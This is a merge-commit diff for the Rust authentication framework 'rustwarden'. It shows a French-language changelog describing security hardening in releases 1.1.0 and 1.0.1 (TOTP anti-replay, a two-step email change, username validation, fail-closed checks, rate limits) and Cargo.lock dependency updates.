Merge branch 'secur_sept26' into 'main' Secur sept26 See merge request ebii/rustwarden!8
Eric BOUHANA <eric@ebii.fr> committé le 2026-09-23 15:51
5804249433606b126cfbdcebab897df7e82b5c51
2 parent(s)
98 fichiers modifiés
+16858
-667
M
CHANGELOG.md
+311
-0
@@ -5,6 +5,317 @@ All notable changes to this project are documented in this file.
| 5 | 5 | The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), |
| 6 | 6 | and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). |
| 7 | 7 | |
| 8 | +## [1.1.0] - 2026-09-18 — Security | |
| 9 | + | |
| 10 | +Minor de sécurité livrant les **RFC 0036 à 0040**, toutes passées **Accepted le | |
| 11 | +2026-09-18** et implémentées dans `rustwarden-core`. Deux ajouts d'API publique | |
| 12 | +(`types::Username`, `config::security_headers::SecurityHeadersConfig`) et quatre | |
| 13 | +durcissements de comportement sur des chemins d'authentification existants. | |
| 14 | +Fenêtre d'adoption **14 jours** pour les consommateurs | |
| 15 | +([`docs/RUSTWARDEN_EVOLUTION_PROCESS.md`](docs/RUSTWARDEN_EVOLUTION_PROCESS.md) §9). | |
| 16 | + | |
| 17 | +> ⚠️ **Une migration SeaORM est à jouer** : | |
| 18 | +> `m20260918_000010_totp_last_used_step` (colonne `user_totp.last_used_step`). | |
| 19 | +> Avec `auto_migrate(true)` elle part au boot ; sinon `cargo run --bin migrate`. | |
| 20 | +> **Jouer la migration avant de déployer le nouveau binaire.** Le modèle SeaORM | |
| 21 | +> `user_totp` déclare `last_used_step`, donc SeaORM émet la liste de colonnes | |
| 22 | +> explicite : sur un schéma pré-migration, **toute** requête sur `user_totp` | |
| 23 | +> échoue — y compris `TotpService::is_totp_enabled`, appelée à **chaque** login. | |
| 24 | +> Conséquence : un réplica 1.1.0 sur un schéma pré-migration fait échouer | |
| 25 | +> **tous les logins en HTTP 500**, pas seulement ceux des comptes 2FA, tant que | |
| 26 | +> la colonne `user_totp.last_used_step` est absente. | |
| 27 | +> Procédure complète : [`docs/MIGRATION_GUIDE.md`](docs/MIGRATION_GUIDE.md) | |
| 28 | +> § *2026-09-18 — RFC 0036-0040 (1.1.0)*. | |
| 29 | + | |
| 30 | +Le versioning **minor** (et non patch) reflète les deux API ajoutées ; la section | |
| 31 | +`Security` ci-dessous liste les changements de comportement, qui sont techniquement | |
| 32 | +non-breaking à la compilation mais peuvent **refuser des entrées auparavant | |
| 33 | +acceptées** (usernames hors charset, login sans e-mail vérifié via appel service). | |
| 34 | + | |
| 35 | +### Added | |
| 36 | + | |
| 37 | +- **Newtype `Username`** ([`docs/rfcs/0036-username-charset-validation.md`](docs/rfcs/0036-username-charset-validation.md)) — | |
| 38 | + `rustwarden_core::types::Username`, re-exporté au prelude. | |
| 39 | + `Username::parse(&str) -> Result<Username, AppError>` applique des règles | |
| 40 | + GitHub-like : 3 à 39 caractères après trim, charset `[a-z0-9-]`, pas de `--`, | |
| 41 | + pas de `-` en tête ni en queue, **majuscules rejetées** (aucun fold silencieux : | |
| 42 | + `Alice` échoue, il ne devient pas `alice`), et noms réservés refusés | |
| 43 | + (`types::team_slug::RESERVED` + `EXTRA_RESERVED` = `me`, `explore`). | |
| 44 | + Accesseurs `as_str()`, `into_inner()`, `Display`, `Serialize`/`Deserialize` | |
| 45 | + transparents. Calqué sur `TeamSlug`. | |
| 46 | +- **`SecurityHeadersConfig`** ([`docs/rfcs/0039-security-headers-config.md`](docs/rfcs/0039-security-headers-config.md)) — | |
| 47 | + `rustwarden_core::config::security_headers::SecurityHeadersConfig`, re-exporté au | |
| 48 | + prelude, avec la méthode builder `RustwardenApp::builder().security_headers(cfg)`. | |
| 49 | + Champs : `content_security_policy: Cow<'static, str>`, | |
| 50 | + `cross_origin_opener_policy: Option<Cow<'static, str>>`, | |
| 51 | + `cross_origin_resource_policy: Option<Cow<'static, str>>`, plus le helper | |
| 52 | + `with_same_origin_isolation()` (COOP + CORP à `same-origin`). | |
| 53 | + Constantes `DEFAULT_CONTENT_SECURITY_POLICY` et `CSP_WITHOUT_UNSAFE_EVAL`. | |
| 54 | + **Le défaut est bit-identique à 1.0.1** : même CSP (`'unsafe-inline'` et | |
| 55 | + `'unsafe-eval'` conservés pour Alpine.js), COOP/CORP non émis. Un consommateur | |
| 56 | + qui n'appelle jamais `.security_headers(..)` ne voit **aucun** changement d'en-tête. | |
| 57 | + `CSP_WITHOUT_UNSAFE_EVAL` est fournie mais **non utilisée** par `Default` : le | |
| 58 | + durcissement du défaut est une **Phase 2** ultérieure, après la migration Alpine CSP | |
| 59 | + ([`docs/plans/PLAN_CSP_HTMX.md`](docs/plans/PLAN_CSP_HTMX.md)). | |
| 60 | +- **`EmailChangeService` et la table `pending_email_changes`** | |
| 61 | + ([`docs/rfcs/0041-pending-email-changes.md`](docs/rfcs/0041-pending-email-changes.md)) — | |
| 62 | + `rustwarden_core::services::email_change_service::EmailChangeService`, le | |
| 63 | + changement d'adresse en **deux temps**. Méthodes publiques `new`, | |
| 64 | + `with_i18n`, `request_change`, `confirm_change`, `report_suspicious`, | |
| 65 | + `admin_force_change`, `cleanup_expired`, plus les lectures sans effet de bord | |
| 66 | + `inspect_confirmation_token` / `inspect_report_token`. | |
| 67 | + Nouvelle migration `m20260919_000011_pending_email_changes` (table | |
| 68 | + `pending_email_changes` : `token_hash` et `report_token_hash` uniques en | |
| 69 | + SHA-256, `expires_at`, `used_at`, `reported_at`, FK `ON DELETE CASCADE`). | |
| 70 | + La même migration **élargit la contrainte `chk_email_queue_email_type`** aux | |
| 71 | + quatre nouveaux types (`email_change_validation`, `email_change_notice`, | |
| 72 | + `email_change_reported`, `email_change_by_admin`) : sans cet élargissement le | |
| 73 | + premier `INSERT` du flux échouerait. La contrainte reste fermée — un | |
| 74 | + `email_type` inconnu est toujours rejeté — et le `down()` ne la resserre que | |
| 75 | + si plus aucune ligne n'utilise ces types, pour ne jamais détruire | |
| 76 | + d'historique d'envoi. | |
| 77 | + Nouveau modèle `models::pending_email_change`, nouveau processeur de purge | |
| 78 | + `PendingEmailChangeCleanupProcessor` (prelude) — comme les processeurs | |
| 79 | + existants, **`app.rs` ne le démarre pas** : appelez `.start()` vous-même. | |
| 80 | + Durée de validité du lien : `email_validation_expiration_hours`, le réglage | |
| 81 | + déjà utilisé par la validation d'adresse. | |
| 82 | +- **Cinq routes de changement d'adresse** (canal machine, `auth_api_routes()`) — | |
| 83 | + `POST /api/v1/auth/email-change` (Bearer + mot de passe courant), | |
| 84 | + puis `GET`/`POST` sur `/api/v1/auth/email-change/confirm/{token}` et | |
| 85 | + `/api/v1/auth/email-change/report/{token}`. Les liens envoyés par e-mail | |
| 86 | + ouvrent une **page interstitielle** : le `GET` n'a aucun effet de bord et rend | |
| 87 | + un formulaire, c'est le `POST` du bouton qui agit — une passerelle | |
| 88 | + anti-phishing qui précharge les liens ne peut donc pas confirmer un changement | |
| 89 | + d'adresse à la place de l'utilisateur. Ces pages sont du HTML minimal | |
| 90 | + autoportant produit par le core (ni Askama, ni `rustwarden-ui`, ni JavaScript, | |
| 91 | + ni ressource externe), donc montables en headless. Quatre nouveaux templates | |
| 92 | + d'e-mail et deux nouvelles sections de locales (`email_change`, | |
| 93 | + `email_change_page`) dans les **six** langues. | |
| 94 | + | |
| 95 | +### Changed | |
| 96 | + | |
| 97 | +- `RegisterRequest.username` (`POST /api/v1/auth/register`) passe de | |
| 98 | + `#[validate(length(min = 3, max = 64))]` à `max = 39`, et le handler appelle | |
| 99 | + `Username::parse` après `validate()` (défense en profondeur — la porte de | |
| 100 | + validation unique reste `UserService::create_user`). | |
| 101 | +- `UserService::create_user` valide désormais son argument `username` via | |
| 102 | + `Username::parse`. Un chemin bootstrap `pub(crate) create_user_allow_reserved` | |
| 103 | + (charset + longueur, mais noms réservés autorisés) est réservé à | |
| 104 | + `ensure_default_admin`, pour que `ADMIN_USERNAME=admin` continue de booter. | |
| 105 | + `AdminConfig::validate` délègue au même parse permissif. | |
| 106 | +- `OAuthService::generate_unique_username` produit des candidats conformes au | |
| 107 | + nouveau charset : minuscules, `[a-z0-9]` uniquement, base tronquée à 30 | |
| 108 | + caractères (marge pour les suffixes `-NNN` / `-<hex8>`), suffixe `-user` si la | |
| 109 | + base tombe sur un nom réservé. Les séparateurs sont des `-` (plus de `_`). | |
| 110 | +- `rustwarden-ui` — `handlers::user_handler::CreateUserRequest.username` passe à | |
| 111 | + `#[validate(length(min = 3, max = 39))]`. | |
| 112 | +- `rustwarden-ui` — **les formulaires livrés appliquent enfin la RFC 0036 | |
| 113 | + côté client** : `templates/profile.html` passe de | |
| 114 | + `maxlength="50" pattern="[a-zA-Z0-9_-]+"` à `maxlength="39" pattern="[a-z0-9-]+"`, | |
| 115 | + le champ username du formulaire d'inscription de `templates/login.html` | |
| 116 | + (`maxlength="50"`, aucun pattern) reçoit les mêmes contraintes, et | |
| 117 | + `templates/admin/user_form.html` (mode `create`), qui n'avait **ni** pattern | |
| 118 | + **ni** `maxlength`, les reçoit également. Les six locales | |
| 119 | + (`fr`, `en`, `es`, `it`, `de`, `pt`) sont corrigées : `profile.username_pattern` | |
| 120 | + et `profile.username_help` décrivaient une règle devenue fausse (« lettres, | |
| 121 | + chiffres, tirets et underscores », « 3-50 caractères ») et annoncent désormais | |
| 122 | + « minuscules, chiffres et tirets uniquement, 3 à 39 caractères » ; deux clés | |
| 123 | + sont ajoutées (`login.username_pattern_register`, | |
| 124 | + `admin.user_form.username_pattern`) et les placeholders d'exemple contenant un | |
| 125 | + `_` sont passés au `-`. Sans cela l'UI de référence laissait saisir des valeurs | |
| 126 | + que le serveur refuse en 400. | |
| 127 | +- `rustwarden-cli` — le wizard `start-project` valide désormais le **username | |
| 128 | + admin** saisi (`ask_admin_config`) contre les règles RFC 0036 : minuscules, | |
| 129 | + chiffres et tirets uniquement, 3 à 39 caractères, pas de `--`, pas de tiret en | |
| 130 | + tête ni en queue. Les noms réservés (`admin`) restent acceptés, le bootstrap | |
| 131 | + passant par `parse_allow_reserved`. Auparavant une saisie comme `Admin`, | |
| 132 | + `admin_user` ou `jean.dupont` générait un projet dont le premier `build()` | |
| 133 | + échouait sur `username_format` sans message actionnable. | |
| 134 | +- `rustwarden-ui` — `PUT /settings/profile` ne traite plus du tout l'e-mail : | |
| 135 | + l'alerte `account_modified` et l'appel applicatif à | |
| 136 | + `PasswordChangeService::invalidate_on_email_change` ont été retirés, le core | |
| 137 | + s'en charge au moment de la **confirmation** (RFC 0041). L'alerte « username | |
| 138 | + modifié » n'est envoyée que sur un **vrai** rename (le formulaire de profil | |
| 139 | + renvoyant tous les champs, un echo ne déclenche plus rien). Le champ e-mail du | |
| 140 | + formulaire continue de passer tant qu'il renvoie l'adresse courante ; une | |
| 141 | + **vraie** modification remonte désormais l'erreur `Validation` du core qui | |
| 142 | + renvoie vers `POST /api/v1/auth/email-change`. Les écrans dédiés (demande en | |
| 143 | + cours, annulation) sont un chantier UI séparé. | |
| 144 | + | |
| 145 | +### Security | |
| 146 | + | |
| 147 | +- **Anti-rejeu TOTP persistant** | |
| 148 | + ([`docs/rfcs/0037-totp-last-used-step.md`](docs/rfcs/0037-totp-last-used-step.md)) — | |
| 149 | + nouvelle migration `m20260918_000010_totp_last_used_step` ajoutant | |
| 150 | + `user_totp.last_used_step BIGINT NULL`. `TotpService::verify_code` et | |
| 151 | + `verify_and_enable` consomment le **pas qui a réellement matché** | |
| 152 | + (`matching_totp_step`, skew ±1) via un compare-and-set SeaORM | |
| 153 | + (`UPDATE user_totp SET last_used_step = $step WHERE user_id = $id AND | |
| 154 | + (last_used_step IS NULL OR last_used_step < $step)`, succès ssi | |
| 155 | + `rows_affected == 1`). Un rejeu renvoie `Ok(false)` — sémantique identique à un | |
| 156 | + code invalide, donc pas d'oracle de rejeu. Ferme le rejeu **inter-réplicas** que | |
| 157 | + la garde in-process de 1.0.1 ne couvrait pas (une map par processus). La garde | |
| 158 | + in-process est conservée en défense en profondeur, après le CAS. Les erreurs DB | |
| 159 | + remontent en `AppError` : le garde ne fail jamais open. | |
| 160 | + `NULL` signifie « aucun pas consommé depuis la migration » : le premier code | |
| 161 | + présenté après migration est toujours accepté (grandfathering des lignes existantes). | |
| 162 | +- **Changement d'adresse e-mail en deux temps** (BREAKING pour les appelants de | |
| 163 | + `update_profile` — voir § Migration) | |
| 164 | + ([`docs/rfcs/0041-pending-email-changes.md`](docs/rfcs/0041-pending-email-changes.md)) — | |
| 165 | + `UserService::update_profile` **n'écrit plus jamais** `users.email`. Un vrai | |
| 166 | + changement renvoie une `AppError::Validation` explicite qui renvoie vers | |
| 167 | + `EmailChangeService::request_change` ; un echo de l'adresse courante reste un | |
| 168 | + no-op complet (les formulaires qui resoumettent tous les champs continuent de | |
| 169 | + fonctionner). Le nouveau chemin : | |
| 170 | + 1. `request_change` re-authentifie l'utilisateur avec son **mot de passe | |
| 171 | + courant**, vérifie l'unicité et le format, consomme toute demande pendante | |
| 172 | + du même compte, écrit une ligne `pending_email_changes` et met **deux** | |
| 173 | + mails en file : le lien de confirmation vers la **nouvelle** boîte, et un | |
| 174 | + avis vers l'**ancienne** portant un lien de **signalement**. `users.email` | |
| 175 | + et `email_verified` ne bougent pas. | |
| 176 | + 2. La confirmation écrit la nouvelle adresse **déjà vérifiée** | |
| 177 | + (`email_verified = true`), **révoque tous les refresh tokens** du compte | |
| 178 | + (les sessions en cours tombent) et invalide les demandes de changement de | |
| 179 | + mot de passe pendantes. Trace `audit_logs` `email_changed`. | |
| 180 | + 3. Le signalement trace en `audit_logs` (niveau WARN) et alerte tous les | |
| 181 | + administrateurs ; il ne **bloque pas** le changement — la boîte qui reçoit | |
| 182 | + ce lien peut alerter, pas décider. | |
| 183 | + Les envois ne sont **pas** best-effort : si la file d'e-mails est | |
| 184 | + indisponible, `request_change` échoue au lieu de laisser une demande dont le | |
| 185 | + lien n'arrivera jamais. Rien n'est écrit sur le compte dans ce cas. | |
| 186 | + Limiteur dédié : **3 demandes par heure et par utilisateur** | |
| 187 | + (`email_change:{user_id}`, budget distinct de `email_verify` et `pwd_reset`), | |
| 188 | + plus le budget IP existant sur `POST /api/v1/auth/email-change`. Les adresses | |
| 189 | + sont masquées dans les logs, l'audit et les hooks (`jo***@ex***`), y compris | |
| 190 | + dans le corps de réponse de la demande. | |
| 191 | + **Ce que cela ferme par rapport à la v1 annoncée (RFC 0038, jamais publiée, | |
| 192 | + désormais Superseded)** : plus de lock-out sur faute de frappe — une adresse | |
| 193 | + mal saisie ne reçoit simplement jamais de clic, la demande expire et le compte | |
| 194 | + n'a jamais bougé ; plus de fenêtre « adresse changée mais session toujours | |
| 195 | + valide » ; plus de couplage avec la politique `validation_email_required` de | |
| 196 | + la RFC 0040. | |
| 197 | + **Recours opérateur** : `admin_force_change` remplace le changement d'adresse | |
| 198 | + par `PUT /admin/users/{id}`. Elle exige un acteur portant le rôle `admin` | |
| 199 | + (sinon `AppError::Forbidden`), écrit l'adresse sans confirmation, révoque les | |
| 200 | + sessions de la cible, notifie les deux boîtes et trace en `audit_logs` | |
| 201 | + (`email_changed_by_admin`, WARN) + `on_audit_event`. Le hook | |
| 202 | + `on_email_verified` n'est **pas** émis : il n'y a eu aucune preuve de | |
| 203 | + possession. | |
| 204 | + **Événements `on_audit_event` émis** — les trois nomment leur cible, un | |
| 205 | + consommateur peut donc router sur `target` sans distinguer les chemins : | |
| 206 | + `user.email_changed` (`actor_id` et `target` = le compte, chemin libre-service), | |
| 207 | + `user.email_change_reported` (`actor_id = None` — le signalement vient d'un | |
| 208 | + lien de mail, pas d'une session — `target` = le compte), | |
| 209 | + `user.email_changed_by_admin` (`actor_id` = l'opérateur, `target` = la cible). | |
| 210 | + Adresses masquées dans les trois `metadata`. | |
| 211 | + **Limite connue** : un utilisateur qui a perdu **à la fois** son mot de passe | |
| 212 | + et l'accès à son adresse courante ne se débloque plus seul — c'est un recours | |
| 213 | + administrateur après vérification d'identité hors bande. La faute de frappe à | |
| 214 | + l'**inscription** relève du même recours : `register` écrit l'adresse saisie | |
| 215 | + sans double vérification, ce flux n'est pas traité par cette RFC. | |
| 216 | + Détail : [`docs/developer-guide/07-security-model.md`](docs/developer-guide/07-security-model.md) | |
| 217 | + § *Cycle de vie de l'e-mail vérifié*. | |
| 218 | +- **Charset `username` appliqué aux frontières d'écriture** | |
| 219 | + ([`docs/rfcs/0036-username-charset-validation.md`](docs/rfcs/0036-username-charset-validation.md)) — | |
| 220 | + `UserService::create_user`, `UserService::update_profile` et | |
| 221 | + `POST /api/v1/auth/register` refusent les identifiants hors charset (backticks, | |
| 222 | + `_`, `.`, majuscules, noms réservés). Réduit la surface d'injection dans les | |
| 223 | + chemins d'URL, les templates et les logs. | |
| 224 | + **Aucun `CHECK` SQL, aucune migration, aucun rewrite** : les comptes existants | |
| 225 | + hors charset restent utilisables et **continuent de se connecter**. | |
| 226 | + `update_profile` ne valide que sur un **vrai rename** — un client qui renvoie le | |
| 227 | + username courant (y compris un handle grandfathered) est traité en no-op. | |
| 228 | +- **`AuthService::authenticate_user` honore `validation_email_required`** | |
| 229 | + ([`docs/rfcs/0040-authenticate-user-email-verified.md`](docs/rfcs/0040-authenticate-user-email-verified.md)) — | |
| 230 | + le contrôle « e-mail vérifié » a été **déplacé** du handler HTTP `login` vers le | |
| 231 | + service. Mêmes clés de réglage (`validation_email_required`, alias legacy | |
| 232 | + `validation_email_requise`), même défaut `true`, même comportement fail-closed | |
| 233 | + (une erreur de lookup vaut « vérification requise »), **même message d'erreur | |
| 234 | + français** et même `AppError::Validation` (HTTP 400). Le contrôle intervient | |
| 235 | + **après** la vérification du mot de passe, donc pas d'oracle « le compte existe | |
| 236 | + mais n'est pas vérifié ». Conséquence : une app consommatrice qui appelait le | |
| 237 | + **service** (SSR maison, handler custom) ne peut plus contourner la politique. | |
| 238 | + `AuthService::verify_credentials` reste la primitive « mot de passe seul » | |
| 239 | + (utilisée par le re-prompt TOTP) et n'applique **pas** ce contrôle. | |
| 240 | + **Effet de bord documenté (décision v1)** : le blocage n'émet plus le hook | |
| 241 | + `on_audit_event` / `auth.login_blocked` — la ligne `audit_logs` est toujours | |
| 242 | + écrite par `AuthLoggingService::log_blocked_login`, mais le paramètre `hooks` | |
| 243 | + vaut `None` depuis le service. | |
| 244 | + | |
| 245 | +### Migration | |
| 246 | + | |
| 247 | +1. **Sauvegarder** : `pg_dump` avant toute opération. | |
| 248 | +2. `cargo run -p rustwarden-cli -- update-project` (ou vendor manuel) pour | |
| 249 | + récupérer `rustwarden-core` / `rustwarden-ui` et les docs framework-owned | |
| 250 | + (`docs/SERVICES_REFERENCE.md`, `docs/MIGRATION_GUIDE.md`). | |
| 251 | +3. Aligner les pins de dépendances de `crates/rustwarden-core/Cargo.toml` | |
| 252 | + (`sea-orm` / `sea-orm-migration` 2.0.0, `sea-bae = "0.2.2"`, | |
| 253 | + `validator_derive = "0.20.1"`), puis `cargo update`. | |
| 254 | +4. **Jouer la migration avant de déployer le binaire** : | |
| 255 | + `cargo run --bin migrate` (ou `auto_migrate(true)` sur un déploiement | |
| 256 | + mono-instance). | |
| 257 | +5. **Rediriger les appels qui changeaient l'e-mail** (RFC 0041) : | |
| 258 | + `grep -rn "update_profile" src/` — tout appel passant une **nouvelle** | |
| 259 | + adresse doit basculer sur `EmailChangeService::request_change` (chemin | |
| 260 | + utilisateur) ou `EmailChangeService::admin_force_change` (chemin opérateur, | |
| 261 | + en remplacement de `PUT /admin/users/{id}` pour l'adresse). Un echo de | |
| 262 | + l'adresse courante reste un no-op : rien à changer pour les formulaires qui | |
| 263 | + resoumettent tous les champs. Vérifier **avant** le bump que SMTP et le | |
| 264 | + worker `email_queue` tournent : sans file fonctionnelle, `request_change` | |
| 265 | + échoue volontairement au lieu d'écrire une adresse non prouvée. | |
| 266 | +6. `cargo clippy --workspace -- -D warnings` puis les smoke tests auth | |
| 267 | + (login, register, changement d'e-mail, 2FA). | |
| 268 | +7. Retirer les workarounds locaux devenus redondants : newtype `Username` maison, | |
| 269 | + overlay `SetResponseHeaderLayer::overriding(CONTENT_SECURITY_POLICY, …)`, | |
| 270 | + tout patch re-vérifiant `email_verified` après `authenticate_user`, tout code | |
| 271 | + applicatif qui, après un changement d'adresse, remettait `email_verified` à la | |
| 272 | + main, enqueuait un mail de validation / une alerte `account_modified`, ou | |
| 273 | + appelait `PasswordChangeService::invalidate_on_email_change`. | |
| 274 | +8. Facultatif : démarrer la purge des demandes expirées — le framework ne le | |
| 275 | + fait pas. `PendingEmailChangeCleanupProcessor::new(db.clone()).start();` | |
| 276 | + (rétention 30 jours après expiration, constante de code, aucune variable | |
| 277 | + d'environnement). Sans ce démarrage, une purge opportuniste limitée à | |
| 278 | + l'utilisateur courant s'exécute à chaque nouvelle demande. | |
| 279 | + | |
| 280 | +Table **Avant / Après** par RFC, greps de repérage et pièges connus : | |
| 281 | +[`docs/MIGRATION_GUIDE.md`](docs/MIGRATION_GUIDE.md) | |
| 282 | +§ *2026-09-18 — RFC 0036-0040 (1.1.0)*. | |
| 283 | + | |
| 284 | +## [1.0.1] - 2026-09-18 — Security | |
| 285 | + | |
| 286 | +Patch de sécurité (pas de nouvelle API publique). Fenêtre d'adoption **14 jours** | |
| 287 | +pour les consommateurs ([`docs/RUSTWARDEN_EVOLUTION_PROCESS.md`](docs/RUSTWARDEN_EVOLUTION_PROCESS.md) §9). | |
| 288 | + | |
| 289 | +### Security | |
| 290 | + | |
| 291 | +- **E-3 / IP rate-limit** — `run()` sert via `into_make_service_with_connect_info` ; | |
| 292 | + layer `auth_ip_rate_limit` sur login, register, refresh, forgot-password, 2FA | |
| 293 | + verify et resend-verification. Le budget n'est plus global `auth:unknown`. | |
| 294 | +- **E-3 / TOTP** — plafond *somme* des tentatives par utilisateur (15 / 15 min) | |
| 295 | + au lieu de compter les challenges saturés ; anti-rejeu in-process du même | |
| 296 | + pas TOTP (TTL 90 s). Pas de migration `last_used_step` (RFC 0037). | |
| 297 | +- **C-7** — `JWT_SECRET` rejette le placeholder CLI | |
| 298 | + `REMPLACER_PAR_UNE_CLE_SECRETE_LONGUE` (égalité exacte, pas de `contains`). | |
| 299 | + `AdminConfig::validate` refuse `password` et | |
| 300 | + `REMPLACER_PAR_UN_MOT_DE_PASSE_FORT`. `.env.example` du wizard n'embarque plus | |
| 301 | + ces littéraux. | |
| 302 | +- **M-2** — `PasswordResetService::reset_password` applique | |
| 303 | + `validate_password_complexity` avant le hash et avant de consommer le token. | |
| 304 | +- **M-3** — limiteurs reset mot de passe / validation email partagés (`OnceLock`) | |
| 305 | + au lieu d'une instance par requête ; éviction LRU au cap au lieu d'un 429 sur | |
| 306 | + une clé neuve. | |
| 307 | +- **M-8** — vérification des backup codes TOTP dans `spawn_blocking`. | |
| 308 | +- **Force-2FA / lookup / blacklist** — fail-closed : erreur DB TOTP ou lookup | |
| 309 | + utilisateur → 503 ; user absent → non authentifié ; blacklist JWT en erreur → | |
| 310 | + refus. Plus de `unwrap_or(false)` / `is_ok_and` fail-open sur ces chemins. | |
| 311 | +- **Admin bootstrap** — `AdminConfig::validate` + `PasswordRules` uniquement sur | |
| 312 | + le chemin de *création* (un `ADMIN_PASSWORD` faible résiduel ne casse plus le | |
| 313 | + boot si un admin existe déjà). | |
| 314 | +- **sanitize_redirect** — normalisation `\` → `/` pour bloquer `/\evil.example`. | |
| 315 | +- **Dépendances** — `bcrypt` 0.19.3, `rustls` 0.23.45, `h2` 0.4.19 (lockfile). | |
| 316 | +- **PostgreSQL dev** — bind `127.0.0.1:5432` ; `POSTGRES_PASSWORD` obligatoire | |
| 317 | + (`:?`, plus de fallback `pass3ord`). | |
| 318 | + | |
| 8 | 319 | ## [Unreleased] |
| 9 | 320 | |
| 10 | 321 | ### Fixed |
M
Cargo.lock
+110
-41
@@ -75,7 +75,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
| 75 | 75 | checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0" |
| 76 | 76 | dependencies = [ |
| 77 | 77 | "cfg-if", |
| 78 | - "cipher", | |
| 78 | + "cipher 0.4.4", | |
| 79 | 79 | "cpufeatures 0.2.17", |
| 80 | 80 | ] |
| 81 | 81 |
@@ -87,7 +87,7 @@ checksum = "831010a0f742e1209b3bcea8fab6a8e149051ba6099432c8cb2cc117dec3ead1"
| 87 | 87 | dependencies = [ |
| 88 | 88 | "aead", |
| 89 | 89 | "aes", |
| 90 | - "cipher", | |
| 90 | + "cipher 0.4.4", | |
| 91 | 91 | "ctr", |
| 92 | 92 | "ghash", |
| 93 | 93 | "subtle", |
@@ -647,6 +647,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
| 647 | 647 | checksum = "72b3254f16251a8381aa12e40e3c4d2f0199f8c6508fbecb9d91f575e0fbb8c6" |
| 648 | 648 | |
| 649 | 649 | [[package]] |
| 650 | +name = "base64" | |
| 651 | +version = "0.23.1" | |
| 652 | +source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 653 | +checksum = "ac07cdecf99051d9a5238b80f35af32cdeba5b336e55d957b318b50137e18da5" | |
| 654 | + | |
| 655 | +[[package]] | |
| 650 | 656 | name = "base64ct" |
| 651 | 657 | version = "1.8.3" |
| 652 | 658 | source = "registry+https://github.com/rust-lang/crates.io-index" |
@@ -663,11 +669,11 @@ dependencies = [
| 663 | 669 | |
| 664 | 670 | [[package]] |
| 665 | 671 | name = "bcrypt" |
| 666 | -version = "0.19.0" | |
| 672 | +version = "0.19.3" | |
| 667 | 673 | source = "registry+https://github.com/rust-lang/crates.io-index" |
| 668 | -checksum = "523ab528ce3a7ada6597f8ccf5bd8d85ebe26d5edf311cad4d1d3cfb2d357ac6" | |
| 674 | +checksum = "a0cd0bd35a28836d528d2b58ad499bc3c5641d59379421b1be9eeb0c2f2b912a" | |
| 669 | 675 | dependencies = [ |
| 670 | - "base64 0.22.1", | |
| 676 | + "base64 0.23.1", | |
| 671 | 677 | "blowfish", |
| 672 | 678 | "getrandom 0.4.2", |
| 673 | 679 | "subtle", |
@@ -735,12 +741,12 @@ dependencies = [
| 735 | 741 | |
| 736 | 742 | [[package]] |
| 737 | 743 | name = "blowfish" |
| 738 | -version = "0.9.1" | |
| 744 | +version = "0.10.0" | |
| 739 | 745 | source = "registry+https://github.com/rust-lang/crates.io-index" |
| 740 | -checksum = "e412e2cd0f2b2d93e02543ceae7917b3c70331573df19ee046bcbc35e45e87d7" | |
| 746 | +checksum = "62ce3946557b35e71d1bbe07ec385073ce9eda05043f95de134eb578fcf1a298" | |
| 741 | 747 | dependencies = [ |
| 742 | 748 | "byteorder", |
| 743 | - "cipher", | |
| 749 | + "cipher 0.5.2", | |
| 744 | 750 | ] |
| 745 | 751 | |
| 746 | 752 | [[package]] |
@@ -888,7 +894,17 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
| 888 | 894 | checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" |
| 889 | 895 | dependencies = [ |
| 890 | 896 | "crypto-common 0.1.7", |
| 891 | - "inout", | |
| 897 | + "inout 0.1.4", | |
| 898 | +] | |
| 899 | + | |
| 900 | +[[package]] | |
| 901 | +name = "cipher" | |
| 902 | +version = "0.5.2" | |
| 903 | +source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 904 | +checksum = "e8cf2a2c93cd704877c0858356ed03480ff301ee950b43f1cbe4573b088bfa6c" | |
| 905 | +dependencies = [ | |
| 906 | + "crypto-common 0.2.2", | |
| 907 | + "inout 0.2.2", | |
| 892 | 908 | ] |
| 893 | 909 | |
| 894 | 910 | [[package]] |
@@ -1188,7 +1204,7 @@ version = "0.9.2"
| 1188 | 1204 | source = "registry+https://github.com/rust-lang/crates.io-index" |
| 1189 | 1205 | checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835" |
| 1190 | 1206 | dependencies = [ |
| 1191 | - "cipher", | |
| 1207 | + "cipher 0.4.4", | |
| 1192 | 1208 | ] |
| 1193 | 1209 | |
| 1194 | 1210 | [[package]] |
@@ -1248,6 +1264,16 @@ dependencies = [
| 1248 | 1264 | ] |
| 1249 | 1265 | |
| 1250 | 1266 | [[package]] |
| 1267 | +name = "darling" | |
| 1268 | +version = "0.23.0" | |
| 1269 | +source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1270 | +checksum = "25ae13da2f202d56bd7f91c25fba009e7717a1e4a1cc98a76d844b65ae912e9d" | |
| 1271 | +dependencies = [ | |
| 1272 | + "darling_core 0.23.0", | |
| 1273 | + "darling_macro 0.23.0", | |
| 1274 | +] | |
| 1275 | + | |
| 1276 | +[[package]] | |
| 1251 | 1277 | name = "darling_core" |
| 1252 | 1278 | version = "0.20.11" |
| 1253 | 1279 | source = "registry+https://github.com/rust-lang/crates.io-index" |
@@ -1276,6 +1302,19 @@ dependencies = [
| 1276 | 1302 | ] |
| 1277 | 1303 | |
| 1278 | 1304 | [[package]] |
| 1305 | +name = "darling_core" | |
| 1306 | +version = "0.23.0" | |
| 1307 | +source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1308 | +checksum = "9865a50f7c335f53564bb694ef660825eb8610e0a53d3e11bf1b0d3df31e03b0" | |
| 1309 | +dependencies = [ | |
| 1310 | + "ident_case", | |
| 1311 | + "proc-macro2", | |
| 1312 | + "quote", | |
| 1313 | + "strsim", | |
| 1314 | + "syn 2.0.117", | |
| 1315 | +] | |
| 1316 | + | |
| 1317 | +[[package]] | |
| 1279 | 1318 | name = "darling_macro" |
| 1280 | 1319 | version = "0.20.11" |
| 1281 | 1320 | source = "registry+https://github.com/rust-lang/crates.io-index" |
